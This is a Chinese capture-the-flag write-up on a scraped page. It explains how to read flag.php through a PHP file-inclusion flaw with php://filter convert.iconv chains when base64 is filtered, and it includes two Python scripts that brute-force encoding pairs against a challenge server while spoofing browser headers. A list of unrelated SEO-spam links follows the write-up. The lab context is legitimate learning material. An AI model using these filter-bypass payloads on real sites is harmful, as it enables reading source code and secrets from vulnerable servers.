当前位置: 首页 > wzjs >正文

东莞网站制作公司网络营销策划的概念

东莞网站制作公司,网络营销策划的概念,卓业网站建设,谁能推荐个网址直接用php://filter读取文件,发现是被过滤了,此时应该找别的方法或者绕过 这个题考察的是在base64被过滤的情况下如何读取文件: 这时候就需要深入理解php://filter的工作机制了 详解php://filter以及死亡绕过_filter绕过过滤-CSDN博客 我们…

 直接用php://filter读取文件,发现是被过滤了,此时应该找别的方法或者绕过

这个题考察的是在base64被过滤的情况下如何读取文件:

这时候就需要深入理解php://filter的工作机制了

详解php://filter以及死亡绕过_filter绕过过滤-CSDN博客

我们用

php://filter/convert.iconv.<源码的编码格式>.<输出的编码格式>/resource=flag.php 

来读取flag.php内容

🌟 iconv 的核心功能:将文件或文本流从一种字符编码(如 GBK)转换为另一种(如 UTF-8

编码格式有:

一开始写的垃圾代码,啥也不会上来就干,结果卡死了。。。

import requests
import timeflag = ""
url="http://61.147.171.105:52323/?"
option=[ "utf-8", "shift_jis", "euc-jp","iso-2022-jp", "windows-1252","gbk","big5", "utf-16", "utf-32", "ascii"]found=False
for i in option:for j in option:payload=f"filename=php://filter/convert.iconv.{i}.{j}/resource=flag.php"req=requests.get(url+payload)if "flag" in req.text:print(i,j)found=Truebreak;if found:break

优化优化:

import requests
import time
from requests.exceptions import RequestException
from base64 import b64decodeflag = ""
url = "http://61.147.171.105:52323/?"
options = ["utf-8", "shift_jis", "euc-jp", "iso-2022-jp","windows-1252", "gbk", "big5", "utf-16", "utf-32","ascii", "UCS-4LE", "UCS-4BE", "ISO-8859-1", "CP932"
]
found = False# 模拟浏览器请求头
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
}for i in options:for j in options:try:payload = f"filename=php://filter/convert.iconv.{i}.{j}/resource=flag.php"print(f"Testing: {i} -> {j}")response = requests.get(url + payload, headers=headers, timeout=15)time.sleep(1.5)  # 增加延迟# 调试输出print(f"Status: {response.status_code}, Length: {len(response.text)}")if response.status_code == 200:# 尝试Base64解码try:decoded = b64decode(response.text).decode(errors="ignore")if "flag" in decoded.lower():print(f"[+] Success (Base64 decoded): {i}->{j}")print(decoded)found = Truebreakexcept:pass# 直接检查响应内容if "flag" in response.text.lower():print(f"[+] Success: {i}->{j}")print(response.text)found = Truebreakelif "<?php" in response.text:print(f"[!] Possible PHP code leak: {i}->{j}")except RequestException as e:print(f"[!] Connection error: {str(e)}")time.sleep(5)  # 长时等待后重试except Exception as e:print(f"[!] Critical error: {str(e)}")breakif found:breakif not found:print("[-] No valid encoding pairs found.")

我代码不成,乃菜也:

1.遇到服务器过滤或者限制访问的时候,需要加上请求头模拟浏览器访问,绕过基础的反爬检测,并设置timeout=10,十秒钟连接不上就拉倒

headers是字典形式
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36","Accept-Language": "en-US,en;q=0.9"
}
response = requests.get(url + payload, headers=headers, timeout=10)

 2.不一定非要看返回消息中有什么特殊的字段,可以直接打印出来返回消息长度

3.python中的try是什么意思?

try和except、else和finally强强联手

try 语句块用于包裹可能会抛出异常的代码。当 try 语句块中的代码执行时,如果发生了异常,程序的执行流程会立即跳转到对应的 except 语句块进行异常处理;如果没有发生异常,则可以选择执行 else 语句块中的代码;无论是否发生异常,finally 语句块中的代码都会被执行。

 终于成功了😀

 

http://www.dtcms.com/wzjs/301847.html

相关文章:

  • 快捷建站专家网络推广图片大全
  • 域客士营销型单页网站程企业建站免费模板
  • 做网站设计最好的公司怎么注册一个自己的网址
  • 长春企业网站设计优化设计四年级上册语文答案
  • 宁波网站建设怎么做无排名优化
  • 大足网站建设公司想做网络推广贵不
  • 男女做的那些事情的网站整合营销传播的定义
  • 推广网站建设产品介绍苏州关键词优化怎样
  • 政府网站开发建设方案广州关键词快速排名
  • 做优惠券网站需要淘宝哪些接口seo快照推广
  • 做淘宝客需要网站吗长沙网站seo
  • 中华建设杂志网站长沙seo排名公司
  • 组织建设 湖南省直工会网站无锡百度竞价
  • 网站如何做谷歌优化西安seo服务
  • 广州通app下载关键词优化是怎么做的
  • edo网站建设内蒙古seo优化
  • 学生网站建设实训报告sem网络营销
  • nba新闻那个网站做的好深圳网络公司推广公司
  • 用家里的路由器做网站建站小程序
  • 劳务公司网站怎么做品牌营销策划案例
  • wordpress comer山东seo优化
  • 给网站做2022最近十大的新闻热点
  • 宝鸡网站建设技成培训网
  • 大型旅游网站源码 织梦2345网址导航官网
  • asp网站上传后台在哪注册域名要钱吗
  • 广州专业网站建设性价比高58百度搜索引擎
  • 兰州网站设计制作国内企业网站模板
  • ui网页设计培训哪里好小璇seo优化网站
  • 网站自动更新时间代码网址导航
  • 国内好看的网站设计seo的搜索排名影响因素主要有